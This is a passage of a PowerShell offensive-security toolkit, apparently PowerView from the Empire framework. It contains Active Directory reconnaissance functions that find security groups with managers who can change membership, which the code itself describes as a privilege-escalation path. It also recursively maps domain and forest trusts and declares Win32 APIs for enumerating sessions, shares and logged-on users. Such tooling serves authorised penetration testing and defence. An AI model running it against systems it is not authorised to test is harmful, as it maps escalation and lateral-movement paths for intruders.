13062 ForEach($DomainTrust in $DomainTrusts) {
13063 # get the trust groups for each domain in the trust mesh
13064 Write-Verbose "Enumerating trust groups in domain $DomainTrust"
13065 Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize
13066 }
13067 }
13068 else {
13069 Get-ForeignGroup -GroupName $GroupName -Domain $Domain -DomainController $DomainController -PageSize $PageSize
13070 }
13071}
13072
13073
13074function Find-ManagedSecurityGroups {
13075<#
13076 .SYNOPSIS
13077
13078 This function retrieves all security groups in the domain and identifies ones that
13079 have a manager set. It also determines whether the manager has the ability to add
13080 or remove members from the group.
13081
13082 Author: Stuart Morgan (@ukstufus) <stuart.morgan@mwrinfosecurity.com>
13083 License: BSD 3-Clause
13084
13085 .EXAMPLE
13086
13087 PS C:\> Find-ManagedSecurityGroups | Export-PowerViewCSV -NoTypeInformation group-managers.csv
13088
13089 Store a list of all security groups with managers in group-managers.csv
13090
13091 .DESCRIPTION
13092
13093 Authority to manipulate the group membership of AD security groups and distribution groups
13094 can be delegated to non-administrators by setting the 'managedBy' attribute. This is typically
13095 used to delegate management authority to distribution groups, but Windows supports security groups
13096 being managed in the same way.
13097
13098 This function searches for AD groups which have a group manager set, and determines whether that
13099 user can manipulate group membership. This could be a useful method of horizontal privilege
13100 escalation, especially if the manager can manipulate the membership of a privileged group.
13101
13102 .LINK
13103
13104 https://github.com/PowerShellEmpire/Empire/pull/119
13105
13106#>
13107
13108 # Go through the list of security groups on the domain and identify those who have a manager
13109 Get-NetGroup -FullData -Filter '(managedBy=*)' | Select-Object -Unique distinguishedName,managedBy,cn | ForEach-Object {
13110
13111 # Retrieve the object that the managedBy DN refers to
13112 $group_manager = Get-ADObject -ADSPath $_.managedBy | Select-Object cn,distinguishedname,name,samaccounttype,samaccountname
13113
13114 # Create a results object to store our findings
13115 $results_object = New-Object -TypeName PSObject -Property @{
13116 'GroupCN' = $_.cn
13117 'GroupDN' = $_.distinguishedname
13118 'ManagerCN' = $group_manager.cn
13119 'ManagerDN' = $group_manager.distinguishedName
13120 'ManagerSAN' = $group_manager.samaccountname
13121 'ManagerType' = ''
13122 'CanManagerWrite' = $FALSE
13123 }
13124
13125 # Determine whether the manager is a user or a group
13126 if ($group_manager.samaccounttype -eq 0x10000000) {
13127 $results_object.ManagerType = 'Group'
13128 } elseif ($group_manager.samaccounttype -eq 0x30000000) {
13129 $results_object.ManagerType = 'User'
13130 }
13131
13132 # Find the ACLs that relate to the ability to write to the group
13133 $xacl = Get-ObjectAcl -ADSPath $_.distinguishedname -Rights WriteMembers
13134
13135 # Double-check that the manager
13136 if ($xacl.ObjectType -eq 'bf9679c0-0de6-11d0-a285-00aa003049e2' -and $xacl.AccessControlType -eq 'Allow' -and $xacl.IdentityReference.Value.Contains($group_manager.samaccountname)) {
13137 $results_object.CanManagerWrite = $TRUE
13138 }
13139 $results_object
13140 }
13141}
13142
13143
13144function Invoke-MapDomainTrust {
13145<#
13146 .SYNOPSIS
13147
13148 This function gets all trusts for the current domain,
13149 and tries to get all trusts for each domain it finds.
13150
13151 .PARAMETER LDAP
13152
13153 Switch. Use LDAP queries to enumerate the trusts instead of direct domain connections.
13154 More likely to get around network segmentation, but not as accurate.
13155
13156 .PARAMETER DomainController
13157
13158 Domain controller to reflect LDAP queries through.
13159
13160 .PARAMETER PageSize
13161
13162 The PageSize to set for the LDAP searcher object.
13163
13164 .PARAMETER Credential
13165
13166 A [Management.Automation.PSCredential] object of alternate credentials
13167 for connection to the target domain.
13168
13169 .EXAMPLE
13170
13171 PS C:\> Invoke-MapDomainTrust | Export-CSV -NoTypeInformation trusts.csv
13172
13173 Map all reachable domain trusts and output everything to a .csv file.
13174
13175 .LINK
13176
13177 http://blog.harmj0y.net/
13178#>
13179 [CmdletBinding()]
13180 param(
13181 [Switch]
13182 $LDAP,
13183
13184 [String]
13185 $DomainController,
13186
13187 [ValidateRange(1,10000)]
13188 [Int]
13189 $PageSize = 200,
13190
13191 [Management.Automation.PSCredential]
13192 $Credential
13193 )
13194
13195 # keep track of domains seen so we don't hit infinite recursion
13196 $SeenDomains = @{}
13197
13198 # our domain status tracker
13199 $Domains = New-Object System.Collections.Stack
13200
13201 # get the current domain and push it onto the stack
13202 $CurrentDomain = (Get-NetDomain -Credential $Credential).Name
13203 $Domains.push($CurrentDomain)
13204
13205 while($Domains.Count -ne 0) {
13206
13207 $Domain = $Domains.Pop()
13208
13209 # if we haven't seen this domain before
13210 if ($Domain -and ($Domain.Trim() -ne "") -and (-not $SeenDomains.ContainsKey($Domain))) {
13211
13212 Write-Verbose "Enumerating trusts for domain '$Domain'"
13213
13214 # mark it as seen in our list
13215 $Null = $SeenDomains.add($Domain, "")
13216
13217 try {
13218 # get all the trusts for this domain
13219 if($LDAP -or $DomainController) {
13220 $Trusts = Get-NetDomainTrust -Domain $Domain -LDAP -DomainController $DomainController -PageSize $PageSize -Credential $Credential
13221 }
13222 else {
13223 $Trusts = Get-NetDomainTrust -Domain $Domain -PageSize $PageSize -Credential $Credential
13224 }
13225
13226 if($Trusts -isnot [System.Array]) {
13227 $Trusts = @($Trusts)
13228 }
13229
13230 # get any forest trusts, if they exist
13231 if(-not ($LDAP -or $DomainController) ) {
13232 $Trusts += Get-NetForestTrust -Forest $Domain -Credential $Credential
13233 }
13234
13235 if ($Trusts) {
13236 if($Trusts -isnot [System.Array]) {
13237 $Trusts = @($Trusts)
13238 }
13239
13240 # enumerate each trust found
13241 ForEach ($Trust in $Trusts) {
13242 if($Trust.SourceName -and $Trust.TargetName) {
13243 $SourceDomain = $Trust.SourceName
13244 $TargetDomain = $Trust.TargetName
13245 $TrustType = $Trust.TrustType
13246 $TrustDirection = $Trust.TrustDirection
13247 $ObjectType = $Trust.PSObject.TypeNames | Where-Object {$_ -match 'PowerView'} | Select-Object -First 1
13248
13249 # make sure we process the target
13250 $Null = $Domains.Push($TargetDomain)
13251
13252 # build the nicely-parsable custom output object
13253 $DomainTrust = New-Object PSObject
13254 $DomainTrust | Add-Member Noteproperty 'SourceDomain' "$SourceDomain"
13255 $DomainTrust | Add-Member Noteproperty 'SourceSID' $Trust.SourceSID
13256 $DomainTrust | Add-Member Noteproperty 'TargetDomain' "$TargetDomain"
13257 $DomainTrust | Add-Member Noteproperty 'TargetSID' $Trust.TargetSID
13258 $DomainTrust | Add-Member Noteproperty 'TrustType' "$TrustType"
13259 $DomainTrust | Add-Member Noteproperty 'TrustDirection' "$TrustDirection"
13260 $DomainTrust.PSObject.TypeNames.Add($ObjectType)
13261 $DomainTrust
13262 }
13263 }
13264 }
13265 }
13266 catch {
13267 Write-Verbose "[!] Error: $_"
13268 }
13269 }
13270 }
13271}
13272
13273
13274########################################################
13275#
13276# Expose the Win32API functions and datastructures below
13277# using PSReflect.
13278# Warning: Once these are executed, they are baked in
13279# and can't be changed while the script is running!
13280#
13281########################################################
13282
13283$Mod = New-InMemoryModule -ModuleName Win32
13284
13285# all of the Win32 API functions we need
13286$FunctionDefinitions = @(
13287 (func netapi32 NetShareEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
13288 (func netapi32 NetWkstaUserEnum ([Int]) @([String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
13289 (func netapi32 NetSessionEnum ([Int]) @([String], [String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
13290 (func netapi32 NetLocalGroupGetMembers ([Int]) @([String], [String], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())),
13291 (func netapi32 DsGetSiteName ([Int]) @([String], [IntPtr].MakeByRefType())),
13292 (func netapi32 DsEnumerateDomainTrusts ([Int]) @([String], [UInt32], [IntPtr].MakeByRefType(), [IntPtr].MakeByRefType())),
13293 (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])),
13294 (func advapi32 ConvertSidToStringSid ([Int]) @([IntPtr], [String].MakeByRefType()) -SetLastError),
13295 (func advapi32 OpenSCManagerW ([IntPtr]) @([String], [String], [Int]) -SetLastError),
13296 (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])),
13297 (func wtsapi32 WTSOpenServerEx ([IntPtr]) @([String])),
13298 (func wtsapi32 WTSEnumerateSessionsEx ([Int]) @([IntPtr], [Int32].MakeByRefType(), [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
13299 (func wtsapi32 WTSQuerySessionInformation ([Int]) @([IntPtr], [Int], [Int], [IntPtr].MakeByRefType(), [Int32].MakeByRefType()) -SetLastError),
13300 (func wtsapi32 WTSFreeMemoryEx ([Int]) @([Int32], [IntPtr], [Int32])),
13301 (func wtsapi32 WTSFreeMemory ([Int]) @([IntPtr])),
13302 (func wtsapi32 WTSCloseServer ([Int]) @([IntPtr]))
13303)
13304
13305# enum used by $WTS_SESSION_INFO_1 below
13306$WTSConnectState = psenum $Mod WTS_CONNECTSTATE_CLASS UInt16 @{
13307 Active = 0
13308 Connected = 1
13309 ConnectQuery = 2
13310 Shadow = 3
13311 Disconnected = 4
13312 Idle = 5
13313 Listen = 6
13314 Reset = 7
13315 Down = 8
13316 Init = 9
13317}
13318
13319# the WTSEnumerateSessionsEx result structure
13320$WTS_SESSION_INFO_1 = struct $Mod WTS_SESSION_INFO_1 @{
13321 ExecEnvId = field 0 UInt32
13322 State = field 1 $WTSConnectState
13323 SessionId = field 2 UInt32
13324 pSessionName = field 3 String -MarshalAs @('LPWStr')
13325 pHostName = field 4 String -MarshalAs @('LPWStr')
13326 pUserName = field 5 String -MarshalAs @('LPWStr')
13327 pDomainName = field 6 String -MarshalAs @('LPWStr')
13328 pFarmName = field 7 String -MarshalAs @('LPWStr')
13329}
13330
13331# the particular WTSQuerySessionInformation result structure
13332$WTS_CLIENT_ADDRESS = struct $mod WTS_CLIENT_ADDRESS @{
13333 AddressFamily = field 0 UInt32
13334 Address = field 1 Byte[] -MarshalAs @('ByValArray', 20)
13335}
13336
13337# the NetShareEnum result structure
13338$SHARE_INFO_1 = struct $Mod SHARE_INFO_1 @{
13339 shi1_netname = field 0 String -MarshalAs @('LPWStr')
13340 shi1_type = field 1 UInt32
13341 shi1_remark = field 2 String -MarshalAs @('LPWStr')
13342}
13343
13344# the NetWkstaUserEnum result structure
13345$WKSTA_USER_INFO_1 = struct $Mod WKSTA_USER_INFO_1 @{
13346 wkui1_username = field 0 String -MarshalAs @('LPWStr')
13347 wkui1_logon_domain = field 1 String -MarshalAs @('LPWStr')
13348 wkui1_oth_domains = field 2 String -MarshalAs @('LPWStr')
13349 wkui1_logon_server = field 3 String -MarshalAs @('LPWStr')
13350}
13351
13352# the NetSessionEnum result structure
13353$SESSION_INFO_10 = struct $Mod SESSION_INFO_10 @{
13354 sesi10_cname = field 0 String -MarshalAs @('LPWStr')
13355 sesi10_username = field 1 String -MarshalAs @('LPWStr')
13356 sesi10_time = field 2 UInt32
13357 sesi10_idle_time = field 3 UInt32
13358}
13359
13360# enum used by $LOCALGROUP_MEMBERS_INFO_2 below
13361$SID_NAME_USE = psenum $Mod SID_NAME_USE UInt16 @{
13362 SidTypeUser = 1
13363 SidTypeGroup = 2
13364 SidTypeDomain = 3
13365 SidTypeAlias = 4
13366 SidTypeWellKnownGroup = 5
13367 SidTypeDeletedAccount = 6
13368 SidTypeInvalid = 7
13369 SidTypeUnknown = 8
13370 SidTypeComputer = 9
13371}
13372
13373# the NetLocalGroupGetMembers result structure
13374$LOCALGROUP_MEMBERS_INFO_2 = struct $Mod LOCALGROUP_MEMBERS_INFO_2 @{
13375 lgrmi2_sid = field 0 IntPtr
13376 lgrmi2_sidusage = field 1 $SID_NAME_USE
13377 lgrmi2_domainandname = field 2 String -MarshalAs @('LPWStr')
13378}
13379
13380# enums used in DS_DOMAIN_TRUSTS
13381$DsDomainFlag = psenum $Mod DsDomain.Flags UInt32 @{
13382 IN_FOREST = 1
13383 DIRECT_OUTBOUND = 2
13384 TREE_ROOT = 4
13385 PRIMARY = 8
13386 NATIVE_MODE = 16
13387 DIRECT_INBOUND = 32
13388} -Bitfield
13389$DsDomainTrustType = psenum $Mod DsDomain.TrustType UInt32 @{
13390 DOWNLEVEL = 1
13391 UPLEVEL = 2
13392 MIT = 3
13393 DCE = 4
13394}
13395$DsDomainTrustAttributes = psenum $Mod DsDomain.TrustAttributes UInt32 @{
13396 NON_TRANSITIVE = 1
13397 UPLEVEL_ONLY = 2
13398 FILTER_SIDS = 4
13399 FOREST_TRANSITIVE = 8
13400 CROSS_ORGANIZATION = 16
13401 WITHIN_FOREST = 32
13402 TREAT_AS_EXTERNAL = 64
13403}
13404
13405# the DsEnumerateDomainTrusts result structure
13406$DS_DOMAIN_TRUSTS = struct $Mod DS_DOMAIN_TRUSTS @{
13407 NetbiosDomainName = field 0 String -MarshalAs @('LPWStr')
13408 DnsDomainName = field 1 String -MarshalAs @('LPWStr')
13409 Flags = field 2 $DsDomainFlag
13410 ParentIndex = field 3 UInt32
13411 TrustType = field 4 $DsDomainTrustType
13412 TrustAttributes = field 5 $DsDomainTrustAttributes
13413 DomainSid = field 6 IntPtr
13414 DomainGuid = field 7 Guid
13415}
13416
13417$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32'
13418$Netapi32 = $Types['netapi32']
13419$Advapi32 = $Types['advapi32']
13420$Wtsapi32 = $Types['wtsapi32']